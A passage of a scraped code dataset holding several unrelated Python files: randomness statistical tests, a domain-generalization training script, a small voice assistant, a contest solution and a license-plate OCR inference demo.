1]) for i in range(int(len(random_list) / 2))])\n counter_cells_as_dict = defaultdict(int)\n counter_cells_as_dict.update(counter_cells)\n expected = len(random_list) / (2 * (mod ** 2))\n chi_square = sum(map(lambda x: (counter_cells_as_dict[x] - expected) ** 2 / expected, [(i, j) for i in range(mod) for j in range(mod)]))\n critical_value = chi2.ppf(0.95, mod ** 2 - 1)\n if chi_square > critical_value:\n print(\"По Serial тесту данная последовательность не является случайной\")\n else:\n print(\"По Serial тесту нет оснований считать, что данная последовательность не является случайной\")\n\n\ndef permutation_test(random_list):\n chunk_size = 3\n ordered_chunks = [order_chunk(random_list[i:i + chunk_size]) for i in range(0, len(random_list), chunk_size)]\n ordered_chunks_as_dict = defaultdict(int)\n ordered_chunks_as_dict.update(Counter(ordered_chunks))\n\n expected = len(random_list) / chunk_size / factorial(chunk_size)\n chi_square = sum(map(lambda x: (ordered_chunks_as_dict[x] - expected) ** 2 / expected, permutations(range(3))))\n critical_value = chi2.ppf(0.95, factorial(chunk_size) - 1)\n if chi_square > critical_value:\n print(\"По тесту перестановок данная последовательность не является случайной\")\n else:\n print(\"По тесту перестановок нет оснований считать, что данная последовательность не является случайной\")\n\n\ndef order_chunk(chunk):\n ordered_indices = sorted(range(len(chunk)), key=lambda k: chunk[k])\n return tuple(map(lambda x: ordered_indices.index(x), range(len(chunk))))\n\n\ndef runs_up_down_test(random_list):\n length = len(random_list)\n up_down_count = len(list(groupby([random_list[i + 1] > random_list[i] for i in range(length - 1)])))\n mean = (2 * length - 1) / 3\n variance = (16 * length - 29) / 90\n z_stat = (up_down_count - mean) / sqrt(variance)\n critical_value = norm.ppf(1 - (1 - 0.95) / 2)\n if abs(z_stat) > critical_value:\n print(\"По тесту runs up & down последовательность не является случайной\")\n else:\n print(\"По тесту runs up & down нет оснований считать, что данная последовательность не является случайной\")\n\n\ndef runs_up_length_test(random_list):\n classes = 6\n length = len(random_list)\n descending_indices = [0] + [i for i in range(1, length) if random_list[i] < random_list[i - 1]] + [length]\n ascending_lists_length = map(lambda x: x if x < classes else classes,\n [descending_indices[i + 1] - descending_indices[i] for i in range(len(descending_indices) - 1)])\n\n asc_lists_length_as_dict = defaultdict(int)\n asc_lists_length_as_dict.update(Counter(ascending_lists_length))\n\n chi_square = sum(\n [(asc_lists_length_as_dict[i] - length * B[i - 1]) * (asc_lists_length_as_dict[j] - length * B[j - 1]) * A[i - 1][j - 1]\n for i in range(1, classes + 1) for j in range(1, classes + 1)]) / length\n critical_value = chi2.ppf(0.95, classes)\n if chi_square > critical_value:\n print(\"По тесту runs up length последовательность не является случайной\")\n else:\n print(\"По тесту runs up length нет оснований считать, что данная последовательность не является случайной\")\n\n\ndef runs_down_length_test(random_list):\n classes = 6\n length = len(random_list)\n ascending_indices = [0] + [i for i in range(1, length) if random_list[i] > random_list[i - 1]] + [length]\n descending_lists_length = map(lambda x: x if x < classes else classes,\n [ascending_indices[i + 1] - ascending_indices[i] for i in range(len(ascending_indices) - 1)])\n\n desc_lists_length_as_dict = defaultdict(int)\n desc_lists_length_as_dict.update(Counter(descending_lists_length))\n\n chi_square = sum(\n [(desc_lists_length_as_dict[i] - length * B[i]) * (desc_lists_length_as_dict[j] - length * B[j]) * A[i][j]\n for i in range(classes) for j in range(classes)]) / length\n critical_value = chi2.ppf(0.95, classes)\n if chi_square > critical_value:\n print(\"По тесту runs down length последовательность не является случайной\")\n else:\n print(\"По тесту runs down length нет оснований считать, что данная последовательность не является случайной\")\n\n\ndef create_lcg(mod, multiplier, incrementer, seed):\n value = seed\n while True:\n value = (multiplier * value + incrementer) % mod\n yield value\n\n\ndef get_binary_fibonacci_string(min_length):\n previous = '1'\n if min_length < 1:\n return previous\n current = '01'\n if min_length < 2:\n return current\n while len(current) < min_length:\n temp = current\n current = current + previous\n previous = temp\n return current\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Arteeck/Randomness-tests","sub_path":"randomness_tests.py","file_name":"randomness_tests.py","file_ext":"py","file_size_in_byte":13995,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"25825119813","text":"import argparse\nimport collections\nimport json\nimport os\nimport sys\nsys.path.append(\"../\")\nimport random\nimport sys\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport numpy as np\nimport torch\nimport torch.optim as optim\nimport torch.utils.data\nfrom utils import GeneralizedCELoss, info_nce_loss, penalty_contra\nfrom domainbed import datasets\nfrom domainbed import hparams_registry\nfrom domainbed import algorithms\nfrom domainbed.lib import misc\nfrom domainbed.lib.fast_data_loader import InfiniteDataLoader, FastDataLoader\n\ndef save_checkpoint(filename, model):\n save_dict = {\n \"args\": vars(args),\n \"model_input_shape\": dataset.input_shape,\n \"model_num_classes\": dataset.num_classes,\n \"model_num_domains\": len(dataset) - len(args.test_envs),\n \"model_hparams\": hparams,\n \"model_dict\": model.state_dict()\n }\n torch.save(save_dict, os.path.join(args.output_dir, filename))\n\ndef accuracy(network, loader, device):\n correct = 0\n total = 0\n network.eval()\n with torch.no_grad():\n for x, y in loader:\n x, y = x.to(device),y.to(device)\n p = network.predict(x)\n batch_weights = torch.ones(len(x)).to(device)\n if p.size(1) == 1:\n correct += (p.gt(0).eq(y).float() * batch_weights.view(-1, 1)).sum().item()\n else:\n correct += (p.argmax(1).eq(y).float() * batch_weights).sum().item()\n total += batch_weights.sum().item()\n network.train()\n return correct / total\ndef warmup_learning_rate(optimizer, epoch, batch_id, total_batches, lr):\n p = (batch_id + 1 + epoch * total_batches) / (args.warm_epochs * total_batches)\n lr = p * lr\n for param_group in optimizer.param_groups:\n param_group['lr'] = lr\ndef accuracy_bias(model_contra, model_b, loader, device):\n correct = 0\n total = 0\n model_b.eval()\n with torch.no_grad():\n for x, y in loader:\n x, y = x.to(device),y.to(device)\n features_temp = model_contra.network(x)\n features_temp = features_temp.detach()\n p = model_b(features_temp)\n batch_weights = torch.ones(len(x)).to(device)\n if p.size(1) == 1:\n correct += (p.gt(0).eq(y).float() * batch_weights.view(-1, 1)).sum().item()\n else:\n correct += (p.argmax(1).eq(y).float() * batch_weights).sum().item()\n total += batch_weights.sum().item()\n model_b.train()\n return correct / total\n\ndef set_idx_flag(temp_set, value):\n temp_set.datasets[0].underlying_dataset.idx_flag = value\n temp_set.datasets[1].underlying_dataset.idx_flag = value\n temp_set.datasets[2].underlying_dataset.idx_flag = value\ndef set_training_aug_flag(temp_set, value):\n temp_set.datasets[0].underlying_dataset.training_aug = value\n temp_set.datasets[1].underlying_dataset.training_aug = value\n temp_set.datasets[2].underlying_dataset.training_aug = value\ndef set_training_dataset_idx_flag(temp_set, value):\n temp_set.datasets[0].underlying_dataset.dataset_idx = value\n temp_set.datasets[1].underlying_dataset.dataset_idx = value\n temp_set.datasets[2].underlying_dataset.dataset_idx = value\ndef set_second_image_flag(temp_set, value):\n temp_set.datasets[0].underlying_dataset.second_image = value\n temp_set.datasets[1].underlying_dataset.second_image = value\n temp_set.datasets[2].underlying_dataset.second_image = value\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description='Domain generalization')\n parser.add_argument('--ERM_lr', type=float,default=0.001)\n parser.add_argument('--weight_decay', type=float,default=5e-5)\n parser.add_argument('--batch_size', type=int,default=128)\n parser.add_argument('--workers', type=int,default=8)\n parser.add_argument('--epochs', type=int,default=100)\n parser.add_argument('--checkpoint_freq', type=int,default=1)\n parser.add_argument('--gpu_list', type=int, nargs='+', default=[0])\n #contrastive settings\n parser.add_argument('--contra_dim', type=int, default=64)\n parser.add_argument('--irm_weight', type=float, default=0.1)\n parser.add_argument('--batch_size_contra', type=int, default=480)\n parser.add_argument('--stage0_epochs', type=int, default=80)\n parser.add_argument('--stage1_epochs', type=int, default=150) #300 for PS\n\n parser.add_argument('--contra_lr', type=float, default=0.0008)\n parser.add_argument('--save_epoch', type=int, default=50)\n parser.add_argument('--print_frequency_contra', type=int, default=40)\n parser.add_argument('--lr_final_bias', type=float, default=0.005)\n parser.add_argument('--select_rear', type=int, default=10)\n parser.add_argument('--select_major', type=int, default=28) #control the GPU Mem under 16G\n\n parser.add_argument('--weight_base', type=float, default=0.5)\n parser.add_argument('--start_reweight_epoch', default=50, type=int)\n parser.add_argument('--classes_num', type=int, default=7)\n parser.add_argument('--n_start', type=int, default=3)\n parser.add_argument('--start_run', type=int, default=0)\n\n parser.add_argument('--schedule', type=str, default=\"cosine\")\n parser.add_argument('--warm_epochs', type=int, default=0)\n parser.add_argument('--data_dir', type=str,default=\"./data/\")\n parser.add_argument('--dataset', type=str, default=\"PACS\")\n parser.add_argument('--algorithm', type=str, default=\"ERM\")\n parser.add_argument('--hparams_seed', type=int, default=0,help='Seed for random hparams (0 means \"default hparams\")')\n parser.add_argument('--trial_seed', type=int, default=0,help='Trial number (used for seeding split_dataset and ''random_hparams).')\n parser.add_argument('--seed', type=int, default=0,help='Seed for everything else')\n\n parser.add_argument('--output_dir_first', type=str, default=\"log/\")\n parser.add_argument('--add_note', type=str, default=\"pacs_ours\")\n parser.add_argument('--test_envs', type=int, nargs='+', default=[3]) ##0,1,2,3 for ['art_painting', 'cartoon', 'photo', 'sketch']\n parser.add_argument('--no_pretrain', type=bool, default=True)\n parser.add_argument('--use_res18', type=bool, default=True)\n args = parser.parse_args()\n print(args)\n start_step = 0\n algorithm_dict = None\n args.output_dir = os.path.join(args.output_dir_first, args.dataset + \"_\" + \"test\" + str(args.test_envs[0]) + \"_\" + args.add_note)\n if not os.path.exists(args.output_dir):\n os.makedirs(args.output_dir)\n sys.stdout = misc.Tee(os.path.join(args.output_dir, 'out.txt'))\n sys.stderr = misc.Tee(os.path.join(args.output_dir, 'err.txt'))\n\n for k, v in sorted(vars(args).items()):\n print('\\t{}: {}'.format(k, v))\n\n if args.hparams_seed == 0:\n hparams = hparams_registry.default_hparams(args.algorithm, args.dataset)\n else:\n hparams = hparams_registry.random_hparams(args.algorithm, args.dataset,\n misc.seed_hash(args.hparams_seed, args.trial_seed))\n final_test_accs1 = []\n final_test_accs2 = []\n if args.no_pretrain:\n hparams[\"pretrained\"] = False\n if args.use_res18:\n hparams[\"resnet18\"] = True\n for start in range(args.start_run, args.n_start):\n print(\"running {}/{}\".format(start+1, args.n_start))\n random.seed(args.seed)\n np.random.seed(args.seed)\n torch.manual_seed(args.seed)\n torch.backends.cudnn.deterministic = False\n torch.backends.cudnn.benchmark = False\n\n if torch.cuda.is_available():\n device = \"cuda\"\n else:\n device = \"cpu\"\n\n if args.dataset in vars(datasets):\n dataset = vars(datasets)[args.dataset](args.data_dir,\n args.test_envs, hparams)\n else:\n raise NotImplementedError\n\n in_splits = []\n out_splits = []\n uda_splits = []\n for env_i, env in enumerate(dataset):\n uda = []\n out, in_ = misc.split_dataset(env,int(len(env)*0.2),\n misc.seed_hash(args.trial_seed, env_i))\n\n if env_i in args.test_envs:\n uda, in_ = misc.split_dataset(in_,int(len(in_)*0),\n misc.seed_hash(args.trial_seed, env_i))\n\n in_weights, out_weights, uda_weights = None, None, None\n\n in_splits.append((in_, in_weights))\n out_splits.append((out, out_weights))\n if len(uda):\n uda_splits.append((uda, uda_weights))\n\n #concatanate split\n from torch.utils.data import ConcatDataset\n train_set_list = []\n for i, (dataset_temp, _) in enumerate(in_splits):\n if i not in args.test_envs:\n train_set_list.append(dataset_temp)\n\n train_split_set = ConcatDataset(train_set_list)\n train_loader0 = torch.utils.data.DataLoader(\n train_split_set, batch_size=args.batch_size//2, shuffle=True, num_workers=args.workers)\n train_loader = torch.utils.data.DataLoader(\n train_split_set, batch_size=args.batch_size, shuffle=True, num_workers=args.workers)\n train_loader_contra = torch.utils.data.DataLoader(\n train_split_set, batch_size=args.batch_size_contra, shuffle=True, num_workers=args.workers, drop_last=True)\n print(\"test env\", args.test_envs)\n if args.dataset == \"PACS\":\n print(\"test env number 0,1,2,3 for ['art_painting', 'cartoon', 'photo', 'sketch']\")\n\n #make eval_test\n eval_test_set = out_splits[args.test_envs[0]][0]\n eval_train_list = []\n for i, (dataset_temp, _) in enumerate(out_splits):\n if i not in args.test_envs:\n eval_train_list.append(dataset_temp)\n eval_train_set = ConcatDataset(eval_train_list)\n #make final test\n real_test_set = in_splits[args.test_envs[0]][0]\n\n eval_loaders = [FastDataLoader(\n dataset=env,\n batch_size=64,\n num_workers=dataset.N_WORKERS)\n for env in [train_split_set, eval_train_set, eval_test_set, real_test_set]]\n\n eval_loader_names = [\"0.train\", \"1.eval1\",\"2.eval2\",\"3.test\"]\n algorithm_class = algorithms.get_algorithm_class(args.algorithm)\n checkpoint_vals = collections.defaultdict(lambda: [])\n\n\n last_results_keys = None\n best_accs = {\"best_eval1\":0,\"best_test1\":0,\"best_eval2\":0,\"best_test2\":0,\"best_iters1\":0,\"best_iters2\":0}\n set_idx_flag(train_split_set, True)\n set_training_aug_flag(train_split_set, True)\n #training stage0\n print(\"create model for first stage to generate weights\")\n model_ERM = algorithm_class(dataset.input_shape, dataset.num_classes,\n len(dataset) - len(args.test_envs), hparams)\n model_ERM.to(device)\n model_ERM.network = torch.nn.DataParallel(model_ERM.network, device_ids= args.gpu_list)\n ERM_optimizer0 = torch.optim.Adam(\n model_ERM.network.parameters(),\n lr=0.001, #default\n weight_decay=args.weight_decay\n )\n train_num = 0\n for epoch in range(args.stage0_epochs):\n for batch_idx, (x, y, idx) in enumerate(train_loader0):\n x, y = x.cuda(), y.cuda()\n loss = F.cross_entropy(model_ERM.network(x), y)\n ERM_optimizer0.zero_grad()\n loss.backward()\n ERM_optimizer0.step()\n\n if epoch % 10 == 0:\n print(\"epoch:\", epoch, \"loss:\", loss.item())\n #get weights\n set_training_aug_flag(train_split_set, False)\n set_training_dataset_idx_flag(train_split_set, True)\n train_loader0 = torch.utils.data.DataLoader(\n train_split_set, batch_size=args.batch_size//2, shuffle=False, num_workers=args.workers)\n weights_all = torch.zeros(4,5000)\n print(\"generating weight\")\n for batch_idx, (x, target, idx , datasets_idx) in enumerate(train_loader0):\n x, target = x.cuda(), target.cuda()\n output = model_ERM.network(x)\n logits_soft = output.detach().softmax(-1)\n mask_gt = torch.zeros_like(logits_soft)\n mask_gt[range(mask_gt.size(0)), target] = 1\n estimated_weight = ((1 - mask_gt) * logits_soft).sum(-1)\n for b in range(x.size(0)):\n weights_all[datasets_idx[b],idx[b]] = estimated_weight[b].detach().cpu()\n #start IRMCon\n set_second_image_flag(train_split_set, True)\n set_training_aug_flag(train_split_set, True)\n print(\"create model for second stage for contrastive\")\n model_contra = algorithm_class(dataset.input_shape, dataset.num_classes,\n len(dataset) - len(args.test_envs), hparams)\n\n model_contra.network[1] = nn.Linear(512, args.contra_dim)\n model_contra.to(device)\n model_contra.network = torch.nn.DataParallel(model_contra.network, device_ids= args.gpu_list)\n optimizer_contra = optim.Adam(model_contra.network.parameters(), lr=args.contra_lr)\n\n print(\"START contrastive\")\n for epoch in range(args.stage1_epochs):\n for batch_idx, (datas, target, idx, datasets_idx) in enumerate(train_loader_contra):\n (imgs1, imgs2) = datas\n imgs1 = imgs1.cuda()\n imgs2 = imgs2.cuda()\n weight = torch.zeros_like(idx).float()\n for b in range(imgs1.size(0)):\n weight[b] = weights_all[datasets_idx[b], idx[b]]\n weight = weight.cuda()\n idx_selected_all = []\n for k in range(args.classes_num):\n list_temp = (target == k).nonzero(as_tuple=False).view(-1)\n weight_temp = weight[list_temp]\n sorted_weight, idxinweight = torch.sort(weight_temp, descending=True)\n seleted_idx0 = idxinweight[args.select_rear:][\n torch.randperm(idxinweight[args.select_rear:].size(0))[:args.select_major]]\n seleted_idx = torch.cat((idxinweight[:args.select_rear], seleted_idx0), dim=0)\n idx_real = list_temp[seleted_idx]\n idx_selected_all.append(idx_real)\n train_nll = 0\n train_penalty = 0\n for k in range(args.classes_num):\n temp_list = idx_selected_all[k]\n if temp_list.size(0) == 0:\n continue\n temp_imgs1 = imgs1[temp_list]\n temp_imgs2 = imgs2[temp_list]\n features1 = model_contra.network(temp_imgs1)\n features2 = model_contra.network(temp_imgs2)\n logits, labels = info_nce_loss(torch.cat((features1, features2), dim=0), features1.size(0),\n temperature=1)\n train_nll += torch.nn.CrossEntropyLoss()(logits, labels)\n train_penalty += penalty_contra(logits, labels, torch.nn.CrossEntropyLoss()).mean()\n\n train_nll = train_nll / float(args.classes_num)\n train_penalty = train_penalty / float(args.classes_num)\n loss = (train_nll + train_penalty * args.irm_weight)\n optimizer_contra.zero_grad()\n loss.backward()\n optimizer_contra.step()\n if (epoch % args.print_frequency_contra == 0 or epoch == args.stage1_epochs - 1):\n print(\"stage1, epoch:\", epoch, \"loss nll:\", train_nll.item(),\n \"loss penalty:\", train_penalty.item())\n if (epoch % args.save_epoch == 0 or epoch == args.stage1_epochs - 1) and epoch != 0:\n save_path = args.output_dir\n if not os.path.exists(save_path):\n os.makedirs(save_path)\n save_name = \"starts_{}_model_contra_epoch{}.torch\".format(start, epoch)\n save_name = os.path.join(save_path, save_name)\n torch.save({'state': model_contra.state_dict()}, save_name)\n set_second_image_flag(train_split_set, False)\n model_contra.eval()\n model_b = nn.Sequential(nn.Linear(args.contra_dim, args.contra_dim * 2),\n nn.LeakyReLU(0.2),\n nn.Linear(args.contra_dim * 2, 10)).cuda()\n model_b = torch.nn.DataParallel(model_b, device_ids=args.gpu_list).cuda()\n if args.no_pretrain:\n hparams[\"pretrained\"] = False\n if args.use_res18:\n hparams[\"resnet18\"] = True\n print(\"create final model for domain generation\")\n model_ERM = algorithm_class(dataset.input_shape, dataset.num_classes,\n len(dataset) - len(args.test_envs), hparams)\n model_ERM.network = torch.nn.DataParallel(model_ERM.network, device_ids=args.gpu_list).cuda()\n\n optimizer_d = torch.optim.Adam(\n model_ERM.network.parameters(),\n lr=args.ERM_lr,\n weight_decay=args.weight_decay\n )\n optimizer_b = optim.Adam(model_b.parameters(), lr=args.lr_final_bias)\n criterion_bias = GeneralizedCELoss()\n criterion_train = nn.CrossEntropyLoss(reduction=\"none\")\n\n for epoch in range(args.epochs):\n set_idx_flag(train_split_set, True)\n set_training_aug_flag(train_split_set, True)\n set_training_dataset_idx_flag(train_split_set, False)\n for batch_idx, (images, target, idx) in enumerate(train_loader):\n images = images.cuda()\n target = target.cuda()\n\n features_temp = model_contra.network(images)\n features_temp = features_temp.detach()\n logit_b = model_b(features_temp)\n logit_d = model_ERM.network(images)\n loss_b = criterion_train(logit_b, target).detach()\n loss_d = criterion_train(logit_d, target).detach()\n loss_weight = loss_b / (loss_b + loss_d + 1e-8) + args.weight_base\n\n loss_b_update = criterion_bias(logit_b, target)\n if epoch < args.start_reweight_epoch:\n loss_d_update = criterion_train(logit_d, target)\n else:\n loss_weight = (loss_b / (loss_b + loss_d + 1e-8)) + args.weight_base\n loss_d_update = criterion_train(logit_d, target) * loss_weight.cuda().detach()\n loss = loss_b_update.mean() + loss_d_update.mean()\n\n optimizer_b.zero_grad()\n optimizer_d.zero_grad()\n loss.backward()\n optimizer_b.step()\n optimizer_d.step()\n step_vals = {'loss': loss.item()}\n\n for key, val in step_vals.items():\n checkpoint_vals[key].append(val)\n\n if (epoch % args.checkpoint_freq == 0) or (epoch == args.epochs - 1):\n results = {'epoch': epoch,'lr': optimizer_d.param_groups[0]['lr'],}\n set_idx_flag(train_split_set, False)\n set_training_aug_flag(train_split_set, False)\n\n for key, val in checkpoint_vals.items():\n results[key] = np.mean(val)\n\n evals = zip(eval_loader_names, eval_loaders)\n accu_temp_list = []\n for i, (name, loader) in enumerate(evals):\n acc = accuracy(model_ERM, loader, device)\n acc_bias = accuracy_bias(model_contra, model_b, loader, device)\n results[name+'_acc'] = acc\n results[name+'H_acc'] = acc_bias\n accu_temp_list.append(acc)\n if accu_temp_list[1] > best_accs[\"best_eval1\"]:\n best_accs[\"best_eval1\"] = accu_temp_list[1]\n best_accs[\"best_test1\"] = accu_temp_list[-1]\n best_accs[\"best_iters1\"] = epoch\n save_checkpoint('model_select_from_train_{}.pkl'.format(start),model_ERM)\n if accu_temp_list[2] > best_accs[\"best_eval2\"]:\n best_accs[\"best_eval2\"] = accu_temp_list[2]\n best_accs[\"best_test2\"] = accu_temp_list[-1]\n best_accs[\"best_iters2\"] = epoch\n save_checkpoint('model_select_from_test_{}.pkl'.format(start),model_ERM)\n\n results['mem_gb'] = torch.cuda.max_memory_allocated() / (1024.*1024.*1024.)\n results_keys = sorted(results.keys())\n if results_keys != last_results_keys:\n misc.print_row(results_keys, colwidth=12)\n last_results_keys = results_keys\n misc.print_row([results[key] for key in results_keys],\n colwidth=12)\n\n results.update({'hparams': hparams,'args': vars(args)})\n\n epochs_path = os.path.join(args.output_dir, 'results_{}.jsonl'.format(start))\n with open(epochs_path, 'a') as f:\n f.write(json.dumps(results, sort_keys=True) + \"\\n\")\n checkpoint_vals = collections.defaultdict(lambda: [])\n print(\"best accu selected from train domain at {}: #### {} ####; best accu selected from test domain at {}: #### {} ####\"\n .format(best_accs[\"best_iters1\"],best_accs[\"best_test1\"] ,best_accs[\"best_iters2\"],best_accs[\"best_test2\"] ))\n\n final_test_accs1.append(best_accs[\"best_test1\"])\n final_test_accs2.append(best_accs[\"best_test2\"])\n print(\"accu(test selected from train mean-std):{}-{}\"\n .format(round(np.mean(final_test_accs1).item(), 4), round(np.std(final_test_accs1).item(), 4)))\n print(\"accu(test selected from test uniform mean-std):{}-{}\"\n .format(round(np.mean(final_test_accs2).item(), 4),\n round(np.std(final_test_accs2).item(), 4)))\n\n","repo_name":"simpleshinobu/IRMCon","sub_path":"Domain_Generalization/domainbed/train_ours.py","file_name":"train_ours.py","file_ext":"py","file_size_in_byte":21825,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"32"} +{"seq_id":"4389709468","text":"import pyttsx3\r\nimport speech_recognition as sr\r\nimport datatime\r\nimport wikipedia\r\nimport webbrowser\r\n\r\nengine = pyttsx3.init(\"sapi5\")\r\nvoices = engine.getProperty('voices')\r\nengine.setProperty('voices', voices[1].id)\r\n\r\n\r\ndef speak(audio):\r\n engine.say(audio)\r\n engine.runAndWait()\r\n\r\n\r\ndef wishme():\r\n hour = int(datetime.datetime.now().hour)\r\n if (hour > 0 and hour < 12):\r\n speak(\"Good morning,sir\")\r\n elif (hour > 12 and hour < 18):\r\n speak(\"Good afternoon ,sir\")\r\n else:\r\n speak(\"Good evening , sir\")\r\n speak(\r\n \"Its sirius , How can i help you\")\r\n\r\n\r\ndef takecommand():\r\n # It takes microphone input from the user and returns string output\r\n\r\n r = sr.Recognizer()\r\n with sr.Microphone() as source:\r\n print(\"Listening...\")\r\n r.adjust_for_ambient_noise(source, duration=1.5)\r\n r.pause_threshold = 1\r\n audio = r.listen(source)\r\n try:\r\n print(\"Recognizing...\")\r\n query = r.recognize_google(audio, language='en-in')\r\n print(f\"User said: {query}\\n\")\r\n\r\n except Exception as e:\r\n # print(e)\r\n print(\"Say that again please...\")\r\n return \"None\"\r\n return query\r\n\r\n\r\nif __name__ == \"__main__\":\r\n\r\n wishme()\r\n while True:\r\n query = takecommand().lower()\r\n\r\n if 'wikipedia' in query:\r\n speak(\"All right sir, as you say , Searching in Wikipedia....\")\r\n query = query.replace(\"wikipedia\", ' ')\r\n results = wikipedia.summary(query, sentences=2)\r\n speak(\"Well ,I read it all but the important thing I got is \")\r\n speak(results)\r\n\r\n\r\n elif \"open youtube\" in query:\r\n webbrowser.open(\"youtube.com\")\r\n\r\n elif \"open Facebook\" in query:\r\n webbrowser.open(\"facebook.com\")\r\n\r\n elif 'open google' in query:\r\n webbrowser.open(\"google.com\")\r\n\r\n\r\n elif \"open Linkedin\" in query:\r\n webbrowser.open(\"Linkedin.com\")\r\n\r\n elif \"open Github\" in query:\r\n\r\n webbrowser.open(\"Github.com\")\r\n\r\n\r\n elif ' sleep' in query:\r\n break","repo_name":"sanskrutimaharana17/AI-Assistant","sub_path":"AI Assistant.py","file_name":"AI Assistant.py","file_ext":"py","file_size_in_byte":2117,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"4675107714","text":"# -*- coding: utf-8 -*-\n\n# input\nN = int(input())\nD, X = map(int, input().split())\nA = list()\nfor i in range(N):\n A.append(int(input()))\n\n# solve\nans = [0] * D\nfor i in range(N):\n d = 1\n c = 1\n while d <= D:\n ans[d - 1] += 1\n d = c * A[i] + 1\n c += 1\n\n# output\nprint(sum(ans) + X)\n","repo_name":"tapioka324/atcoder","sub_path":"ABC/092/b.py","file_name":"b.py","file_ext":"py","file_size_in_byte":314,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"12982110165","text":"\"\"\"A script to run inference on a set of image files.\n\nNOTE #1: The Attention OCR model was trained only using FSNS train dataset and\nit will work only for images which look more or less similar to french street\nnames. In order to apply it to images from a different distribution you need\nto retrain (or at least fine-tune) it using images from that distribution.\n\nNOTE #2: This script exists for demo purposes only. It is highly recommended\nto use tools and mechanisms provided by the TensorFlow Serving system to run\ninference on TensorFlow models in production:\nhttps://www.tensorflow.org/serving/serving_basic\n\nUsage:\npython demo_inference.py --batch_size=32 \\\n --checkpoint=model.ckpt-399731\\\n --image_path_pattern=./datasets/data/fsns/temp/fsns_train_%02d.png\n\"\"\"\nimport numpy as np\nimport PIL.Image\nimport tensorflow as tf\nfrom tensorflow.python.platform import flags\nfrom tensorflow.python.training import monitored_session\nimport cv2\nimport os\nimport common_flags\nimport re\nimport datasets\nimport ast\nimport data_provider\nimport glob\nFLAGS = flags.FLAGS\ncommon_flags.define()\n\n# e.g. ./datasets/data/fsns/temp/fsns_train_%02d.png\nflags.DEFINE_string('image_path_pattern', '',\n 'A file pattern with a placeholder for the image index.')\nflags.DEFINE_string('license_boxes_json_path', '/data/output.json', 'A json file with coordinates of bounding boxes for license plates')\n\n\ndef get_dataset_image_size(dataset_name):\n # Ideally this info should be exposed through the dataset interface itself.\n # But currently it is not available by other means.\n ds_module = getattr(datasets, dataset_name)\n height, width, _ = ds_module.DEFAULT_CONFIG['image_shape']\n return width, height\n\n\ndef load_images(batch_size, dataset_name, annotations):\n width, height = get_dataset_image_size(dataset_name)\n images_actual_data = np.ndarray(shape=(len(annotations.values()), height, width, 3),\n dtype='uint8')\n count = 0\n for path,boxes in annotations.items():\n print(\"Processing: \", path) \n img = cv2.imread(os.path.join('/mnt/data/datasets/images', os.path.basename(path)))\n for box in boxes:\n print(box)\n print(img.shape)\n img_cropped = img[box['xmin']:box['xmax']+1, box['ymin']:box['ymax']+1]\n cv2.imwrite('/data/{}.jpg'.format(count), img_cropped)\n pil_img = PIL.Image.fromarray(img_cropped)\n img = pil_img.resize((width, height), PIL.Image.ANTIALIAS)\n images_actual_data[count, ...] = np.asarray(img)\n count += 1\n return images_actual_data\n\n\ndef create_model(batch_size, dataset_name):\n width, height = get_dataset_image_size(dataset_name)\n dataset = common_flags.create_dataset(split_name=FLAGS.split_name)\n model = common_flags.create_model(\n num_char_classes=dataset.num_char_classes,\n seq_length=dataset.max_sequence_length,\n num_views=dataset.num_of_views,\n null_code=dataset.null_code,\n charset=dataset.charset)\n raw_images = tf.compat.v1.placeholder(\n tf.uint8, shape=[batch_size, height, width, 3])\n images = tf.map_fn(data_provider.preprocess_image, raw_images,\n dtype=tf.float32)\n endpoints = model.create_base(images, labels_one_hot=None)\n return raw_images, endpoints\n\n\ndef run(checkpoint, batch_size, dataset_name, image_path_pattern, annotations):\n images_placeholder, endpoints = create_model(batch_size,\n dataset_name)\n session_creator = monitored_session.ChiefSessionCreator(\n checkpoint_filename_with_path=checkpoint)\n count = 0\n width, height = get_dataset_image_size(dataset_name)\n with monitored_session.MonitoredSession(\n session_creator=session_creator) as sess:\n for path,boxes in annotations.items():\n print(\"Processing: \", path) \n img = cv2.imread(os.path.join('/mnt/data/datasets/images', os.path.basename(path)))\n for box in boxes:\n img_cropped = img[box['ymin']:box['ymax']+1, box['xmin']:box['xmax']+1]\n pil_img = PIL.Image.fromarray(img_cropped)\n pil_img_cropped = pil_img.resize((width, height), PIL.Image.ANTIALIAS)\n count += 1\n predictions = sess.run(endpoints.predicted_text,\n feed_dict={images_placeholder: np.asarray(pil_img_cropped)[np.newaxis, ...]})\n output = [pr_bytes.decode('utf-8') for pr_bytes in predictions.tolist()][0]\n output = re.sub(r'([^\\s\\w]|_)+', '', output)\n cv2.rectangle(img,(box['xmin'],box['ymin']),(box['xmax'],box['ymax']),(0,255,0),3)\n cv2.putText(img, output.replace('?',''), (box['xmin'],box['ymin']-10), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 255, 0), 2, cv2.LINE_AA)\n# file_writer.write([pr_bytes.decode('utf-8') for pr_bytes in predictions.tolist()][0])\n cv2.imwrite('/mnt/output/'+os.path.basename(path), img)\n \n\n\ndef main(_):\n data = open(FLAGS.license_boxes_json_path, 'r')\n annotations = ast.literal_eval(data.read())['annotations']\n FLAGS.batch_size = 1\n if not os.path.exists('/mnt/output/'):\n os.makedirs('/mnt/output/')\n d = open(os.path.join(FLAGS.checkpoint, 'checkpoint'), 'r')\n for line in d.readlines():\n if not 'all_model_checkpoint_path' in line:\n checkpoint = os.path.basename(line.split(':')[1].strip().strip('\"'))\n break\n run(os.path.join(FLAGS.checkpoint, checkpoint), FLAGS.batch_size, FLAGS.dataset_name,\n FLAGS.image_path_pattern, annotations)\n\n\nif __name__ == '__main__':\n tf.compat.v1.app.run()\n","repo_name":"onepanelio/LicensePlateOcr","sub_path":"demo_inference.py","file_name":"demo_inference.py","file_ext":"py","file_size_in_byte":5586,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"7945235710","text":"# -*- coding:utf-8 -*-\n\n\"\"\"\n行情数据订阅模块\n\nAuthor: HuangTao\nDate: 